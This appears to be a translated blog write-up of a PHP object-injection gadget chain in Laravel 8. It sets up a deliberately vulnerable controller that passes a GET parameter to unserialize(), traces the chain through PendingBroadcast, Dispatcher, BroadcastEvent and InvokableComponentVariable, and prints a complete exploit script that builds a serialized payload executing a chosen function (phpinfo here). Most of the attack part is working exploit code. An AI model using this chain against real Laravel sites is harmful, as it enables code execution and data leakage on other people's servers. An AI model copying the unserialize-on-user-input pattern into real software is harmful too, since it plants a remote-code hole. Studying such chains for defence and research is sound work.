Laravel8 new pop chain mining process

Installation method:

1
composer create-project laravel/laravel=8.5.9 laravel8

Manually add deserialization point:

/routes/web.php:

1
2
3
<?php
Route::get("/","\App\Http\Controllers\DemoController@demo");
?>

Add democontroller controller under app/Http/Controllers/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace App\Http\Controllers;

class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
}
}

The results are as follows:

68cAcd.png

New version of laravel pop chain process:

The destruct function is used to cut in under the class illuminate\broadcasting\pendingbroadcast;

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

To call the dispatch method under the illuminate\bus\dispatcher class;

1
2
3
4
5
6
public function dispatch($command)
{
return $this->queueResolver && $this->commandShouldBeQueued($command)
? $this->dispatchToQueue($command)
: $this->dispatchNow($command);
}

Controls the queueresolver and command variables;make them true,so we can see dispatchToQueue function

1
2
3
4
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}

Obviously, the shouldqueue interface class needs to be inherited;We found the class Illuminate\Broadcasting\BroadcastEvent globally;

1
class BroadcastEvent implements ShouldQueue

After successfully entering the corresponding method, we audit the method;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;

$queue = call_user_func($this->queueResolver, $connection);

if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}

if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}

return $this->pushCommandToQueue($queue, $command);
}

Notice the call_user_func method, we find that both the queueresolver parameter and the connection parameter are controllable;Because call_user__func,We can make the first parameter an array,So as to call the corresponding method under the corresponding class;

Here I use the__ Invoke method from Illuminate\View\InvokableComponentVariable;Because the parameters of this method are controllable, you can also call sensitive functions

1
2
3
4
5
public function __invoke()
{
return call_user_func($this->callable);
}

Here we can control the callable; we can directly pass in the sensitive function to execute it;

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Broadcasting
{
class BroadcastEvent
{
protected $connection;
public function __construct($connection){
$this->connection = $connection;
}
}
}
namespace Illuminate\View{
class InvokableComponentVariable{
protected $callable;
public function __construct($callable)
{
$this->callable = $callable;
}
}
}
namespace{
$d = new Illuminate\View\InvokableComponentVariable('phpinfo');
$c = new Illuminate\Broadcasting\BroadcastEvent(true);
$b = new Illuminate\Bus\Dispatcher(array($d,'__invoke'));
$a = new Illuminate\Broadcasting\PendingBroadcast($b,$c);
echo urlencode(serialize($a));
}


It can cause function execution and information leakage;

686w6A.png